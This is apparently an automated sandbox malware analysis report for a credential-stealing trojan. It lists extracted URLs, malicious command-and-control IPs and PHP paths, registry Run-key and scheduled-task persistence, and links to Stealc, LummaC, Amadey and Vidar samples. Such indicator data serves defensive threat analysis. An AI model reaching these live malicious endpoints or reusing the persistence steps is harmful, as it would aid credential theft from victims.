https://spocs.getpocket.com/	firefox.exe, 00000019.00000002.3257901918.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3216319833.000001379FE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A6919000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/ehPreloadEnabledthis-is-included-for-desktop-pre-95-support	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/endDate	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli	file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/2/itemsnuo-extensions-migration-in-embedded-import-wi	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/addonsFeatureGate	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/addonsShowLessFrequentlyCap	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000019.00000002.3257901918.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A925000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://json-schema.org/draft/2019-09/schemaplaces.sqlite#1:	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://help.steampowered.com/en/	file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2133071167.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2147753615.0000000005A5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3178406027.0000013799FAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3157667654.000001804BECB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/outcomeshttp://mozilla.org/#/properties/outcomes/itemshttp://mozilla	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094931339.0000000001066000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803112102.00000000016E5000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803355226.00000000016E9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921635801.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://getpocket.com/recommendationsEnable	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabledextension/webcompat	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.cloudflare.com/lear	file.exe, 00000000.00000003.2094931339.000000000107E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/enrollmentEndDate	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis	file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3240318696.00000137A1B3E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://broadcast.st.dl.eccdnx.com	976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2133456713.00000000059C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3040743134.00000137A91A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3212088347.000001379F37D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3033463599.00000137A91A0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3240318696.00000137A1B23000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2133456713.00000000059C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3040743134.00000137A91A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3212088347.000001379F37D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3033463599.00000137A91A0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3240318696.00000137A1B23000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/forceWaitHttpsRR	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/0http://mozilla.org/#/properties/userFacingName	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/outcomes	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/workshop/	file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2133071167.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2134472966.0000000005CBD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/quickSuggestSponsoredEnabledhttp://mozilla.org/#/properties/dnsMaxAn	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/Jp	7RNKVR1EZ552XQ73.exe, 00000004.00000002.2320903364.0000000000E54000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en	file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3236681244.00000137A10D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3193146359.000001379C9C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3197648410.000001379E1BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3196543245.000001379E02A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3257901918.00000137A67B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67B4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.co.uk/	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3026487820.00000137A6A2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3256678310.00000137A6497000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://screenshots.firefox.com/	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3204056198.000001379E644000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976232127.000001379E938000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3205276843.000001379E800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.2974846355.000001379E700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976412933.000001379E953000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976574533.000001379E96F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php6-535557bcc5fa00	606f2f6db0.exe, 0000000A.00000002.2936306936.000000000124E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggestresource://gre/modules/translation/LanguageDetecto	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://gpuweb.github.io/gpuweb/	firefox.exe, 00000019.00000002.3257901918.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.37	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
172.67.206.204	sergei-esenin.com	United States	13335	CLOUDFLARENETUS	true
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
142.250.185.142	youtube.com	United States	15169	GOOGLEUS	false
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540246
Start date and time:	2024-10-23 15:47:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	47
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@71/26@91/12
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 34.208.54.237, 44.231.229.39, 52.13.186.250
Excluded domains from analysis (whitelisted): fs.microsoft.com, shavar.prod.mozaws.net, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, location.services.mozilla.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 7RNKVR1EZ552XQ73.exe, PID 5628 because there are no executed function
Execution Graph export aborted for target S14AV77TIR9DRWSCWIW0.exe, PID 2300 because it is empty
Execution Graph export aborted for target file.exe, PID 5328 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7444 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
09:48:03	API Interceptor	14x Sleep call for process: file.exe modified
09:49:01	API Interceptor	245727x Sleep call for process: skotes.exe modified
09:49:15	API Interceptor	11x Sleep call for process: 976d9f40c1.exe modified
15:48:26	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
15:49:16	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 976d9f40c1.exe C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe
15:49:24	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 976d9f40c1.exe C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe
15:49:33	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 606f2f6db0.exe C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe
15:49:41	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 2d569de7b1.exe C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe
15:49:50	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1000979001\num.exe
15:50:03	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 606f2f6db0.exe C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe
15:50:11	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2d569de7b1.exe C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe
15:50:20	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1000979001\num.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
prod.remote-settings.prod.webservices.mozgcp.net	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	Unknown	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
sergei-esenin.com	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Scan_8346203.pdf	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://re.e-sharedonedrivefile.com/skjashd	Get hash	malicious	Unknown	Browse	172.67.149.171
	https://t.ly/ZPR23.10	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://us-west-2.protection.sophos.com/?d=site.pro&u=aHR0cHM6Ly9jbGF1ZGlha3J1ZWdlci5zaXRlLnByby8=&i=NThlN2NjYzYyOTljZjkxNGY4YmM1Njkz&t=QTRyTlRXbysvd3IyNERLT1pJYVNuNlAvU0FLMVAyb2pCN053UGFJSWtBST0=&h=dd65eaa7298b4ffebbd13b01dcbd3434&s=AVNPUEhUT0NFTkNSWVBUSVYfWTd0VrJEAZ1PFPx8UNdDDkWk4HVuGeVZrBnJzV7Ifg	Get hash	malicious	Unknown	Browse	172.64.151.101
	winzg.exe	Get hash	malicious	Unknown	Browse	172.67.162.203
	winzg.exe	Get hash	malicious	Unknown	Browse	104.21.90.238
	https://t.ly/cI3Tm	Get hash	malicious	Unknown	Browse	104.20.6.133
	Totalenergies.com_reff_3243808335_ATGeyDyASJ.html	Get hash	malicious	Phisher	Browse	104.17.25.14
	https://app.oneflow.com/api/agreements/8821185/assets/b81e65c04f5acdc6369b89fe6d9aba378483abd6.pdf?at=490c38a4784c740c75de3531f3291888226b3acd	Get hash	malicious	Unknown	Browse	188.114.96.3
	phish_alert_sp2_2.0.0.0 - 2024-10-23T084901.360.eml	Get hash	malicious	HTMLPhisher	Browse	172.64.152.44
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
